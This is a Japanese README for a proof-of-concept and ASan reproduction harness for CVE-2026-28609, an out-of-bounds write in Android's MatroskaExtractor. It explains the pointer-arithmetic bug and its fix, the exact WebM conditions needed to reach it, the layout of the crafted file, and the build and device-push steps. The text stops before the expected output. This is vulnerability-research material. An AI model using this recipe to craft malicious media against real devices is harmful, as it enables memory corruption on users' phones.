
CVE-2026-28609の概念実証および計測可能な再現ハーネス。これはAndroidのMatroskaExtractorにおける境界外書き込みであり、ビッグエンディアンPCMオーディオトラックを含む細工されたWebMファイルを介して到達可能です。
CVE-2026-28609 の概念実証、計測可能な再現ハーネス、および技術解説。これは Android の MatroskaExtractor における境界外書き込みであり、ビッグエンディアンの PCM オーディオトラックを含む細工された WebM ファイルを介して到達可能です。
frameworks/av/media/module/extractors/mkv/MatroskaExtractor.cppAndroid の MatroskaExtractor 内の MatroskaSource::read() には、PCM ビッグエンディアンのバイトスワップループが含まれており、このループはフレームデータポインタを uint16_t * にキャストする際、バイトオフセットである frame->range_offset() を加算する前にキャストを行っています。uint16_t * に対する C のポインタ演算ではオフセットが sizeof(uint16_t) = 2 倍にスケーリングされるため、結果として得られるポインタはバッファの先頭から range_offset バイトではなく、2 * range_offset バイト先を指すことになります。
range_offset > 0 の場合、このループはフレームの MediaBuffer の終端を越えて1バイト以上を読み書きします。ASan のないデバイスでは、過剰読み取りは静かに成功し、過剰書き込みはバッファの直後のバイトを破壊します。
脆弱な行:
// MatroskaExtractor.cpp:1105 (pre-fix)
uint16_t *dstData = (uint16_t *)frame->data() + frame->range_offset();
uint16_t *srcData = (uint16_t *)frame->data() + frame->range_offset();
for (size_t i = 0; i < frame->range_length() / 2; i++) {
dstData[i] = ntohs(srcData[i]);
}
上流の修正では、オフセットを適用する前にポインタを uint8_t * にキャストします:
uint16_t *data = (uint16_t *)((uint8_t *)frame->data() + frame->range_offset());
for (size_t i = 0; i < frame->range_length() / 2; i++) {
data[i] = ntohs(data[i]);
}
実際の Android 14 デバイス上で AddressSanitizer の下で検証された、CVE-2026-28609 の動作する再現可能なトリガーです。このリポジトリには以下が含まれます:
range_offset を伴う脆弱な分岐へと導く WebM ファイルを生成する Python ジェネレーター。dlopen を介して抽出器プラグインをロードし、GETEXTRACTORDEF を呼び出し、ファイルからフレームを読み取る C-ABI ハーネス。脆弱なデバイス上での結果:
==14927==ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 2 at 0x003c61ab3960 thread T0
#0 ... MatroskaSource::read(...) MatroskaExtractor.cpp:1113
0x003c61ab3961 is located 0 bytes after 65-byte region
脆弱な分岐が成立するには、以下のすべてが真である必要があります。
| 条件 | ソース |
|---|---|
| トラックが PCM である | mType == PCM |
| ビッグエンディアン | AMEDIAFORMAT_KEY_PCM_BIG_ENDIAN == 1 |
| 16 ビットサンプル | AMEDIAFORMAT_KEY_BITS_PER_SAMPLE == 16 |
フレームの range_offset が非ゼロ | set_range(offset, ...) によって設定される |
最初の 3 つは、コーデック ID A_PCM/INT/BIG とビット深度 16 でトラックを宣言することで満たされます。4 つ目が興味深い点です。
range_offset が非ゼロ値に設定されるのは、MatroskaSource::setWebmBlockCryptoInfo() 内のみであり、この関数は以下の条件の下で readBlock() から呼び出されます。
if (err == OK && mExtractor->mIsWebm && trackInfo->mEncrypted) {
err = setWebmBlockCryptoInfo(mbuf);
}
したがって、トリガーファイルは次を満たす必要があります:
mIsWebm — EBML の DocType 要素が "matroska" ではなく
"webm" でなければなりません。mEncrypted — トラックが ContentEncodingType = 1(暗号化)と
ContentEncKeyID を持つ ContentEncodings を宣言している必要があります。0x1)が 0 の
シグナルバイトでなければならず、これはフレームが暗号化されていないが
コンテンツエンコードされていることを示します。これにより
setWebmBlockCryptoInfo の else 分岐が実行され、set_range(1, len - 1) が
呼び出されます。ストリップ後、すべてのフレームで range_offset = 1 になります。その後、
脆弱な分岐は (uint16_t *)data + 1 を計算して 2 バイト進め、ループは
バイト [2, 2 + range_length) を読み書きします — これは 65 バイトの
割り当て(64 バイトのフレーム + 1 バイトのシグナル)の終端を 1 バイト
超えています。
+---------+------------------------------------+
| 0x00 | 64 bytes of frame data (0xAA...) |
+---------+------------------------------------+
signal PCM payload
シグナルバイト 0x00 は set_range(1, 64) によって除去され、65 バイトの割り当て内に 64 バイトのフレームが残ります。その後、脆弱なポインタ演算によってバイトオフセット 2 から 65 に書き込みが行われます。
.
├── README.md
├── LICENSE
├── .gitignore
│
├── exploit/
│ └── generator.py WebM generator + verifier
│
├── harness/
│ └── harness_c_abi.cpp dlopen-based trigger harness
│
└── scripts/
├── build.conf API level, sanitizer, RTTI flags
├── include_dirs.conf.sample Include roots template
├── build_foundation.sh Build the foundation archive
├── build_plugin.sh Build the extractor plugin
├── build_harness.sh Build the harness
└── run.sh End-to-end build + push + run
ビルド前にユーザーがクローンする上流の依存関係:
av/ frameworks/av (AOSP)
libwebm/ external/libwebm (mkvparser)
flac/ external/flac
aosp-includes/ system/core, system/logging, system/libbase,
frameworks/native — header trees only
aosp-includes/libs/ libstagefright_foundation.so, libmedia.so,
libutils.so, libbinder.so, libcutils.so,
libbase.so, libmediandk.so, libstagefright_flacdec.so
— pulled from the target device
bash、python3、make を備えた Linux または WSL2$ANDROID_NDK_HOME で設定PATH 上の adb(Linux、または WSL からの adb.exe)mkdir -p deps && cd deps
# AOSP frameworks/av (contains the vulnerable extractor)
git clone --depth 1 -b android-14.0.0_r1 \
https://android.googlesource.com/platform/frameworks/av av
# libwebm (mkvparser)
git clone --depth 1 \
https://android.googlesource.com/platform/external/libwebm libwebm
# libFLAC
git clone --depth 1 \
https://android.googlesource.com/platform/external/flac flac
# AOSP header trees (no full checkout required)
mkdir -p aosp-includes
cd aosp-includes
for m in core libbase logging native; do
git clone --depth 1 \
"https://android.googlesource.com/platform/system/$m" "$m" 2>/dev/null || true
done
cd ../..
AOSP ツリーがモジュール式エクストラクタのレイアウト
(av/media/module/extractors/mkv/) を使用している場合、追加の調整は不要です。
古いレイアウト (av/media/libstagefright/matroska/) を使用している場合は、
MKV 変数に関するビルドスクリプトを参照してください。
mkdir -p deps/aosp-includes/libs
for lib in libstagefright_foundation.so libstagefright_flacdec.so \
libmedia.so libutils.so libbinder.so libcutils.so \
libbase.so libmediandk.so; do
adb pull "/system/lib64/$lib" deps/aosp-includes/libs/
done
cp scripts/include_dirs.conf.sample scripts/include_dirs.conf
cp scripts/build.conf.sample scripts/build.conf # if provided separately
$EDITOR scripts/build.conf
ANDROID_API を対象デバイスに合わせて設定します(例:Android 14 の場合は 34)。
./scripts/run.sh
run.sh スクリプトは4つのステップを順番に実行します:
build_foundation.sh — av/media/module/foundation/ と av/media/module/metadatautils/ から28個のソースファイルをコンパイルし、plugin-asan/libstagefright_foundation_asan.a にまとめます。build_plugin.sh — MatroskaExtractor.cpp、mkvparser.cc、mkvreader.cc をコンパイルし、それらをアーカイブとリンクして libmkvextractor_asan.so を生成します。build_harness.sh — harness_c_abi を -shared-libsan 付きでコンパイルします。poc.mkv を /data/local/tmp にプッシュし、ハーネスを実行します。ビルドスクリプトは不足しているインクルードルートを自動的に検出します。コンパイラが fatal error: 'X' file not found を報告すると、スクリプトは依存関係ツリーを検索し、X の親ディレクトリを見つけて include_dirs.conf に追加します。これが、最初のビルド中に include_dirs.conf が増加する理由です。すべてのヘッダーが検出されると、ファイルは安定し、以降のビルドは決定論的になります。
脆弱なデバイスでは、ハーネスは以下を出力します: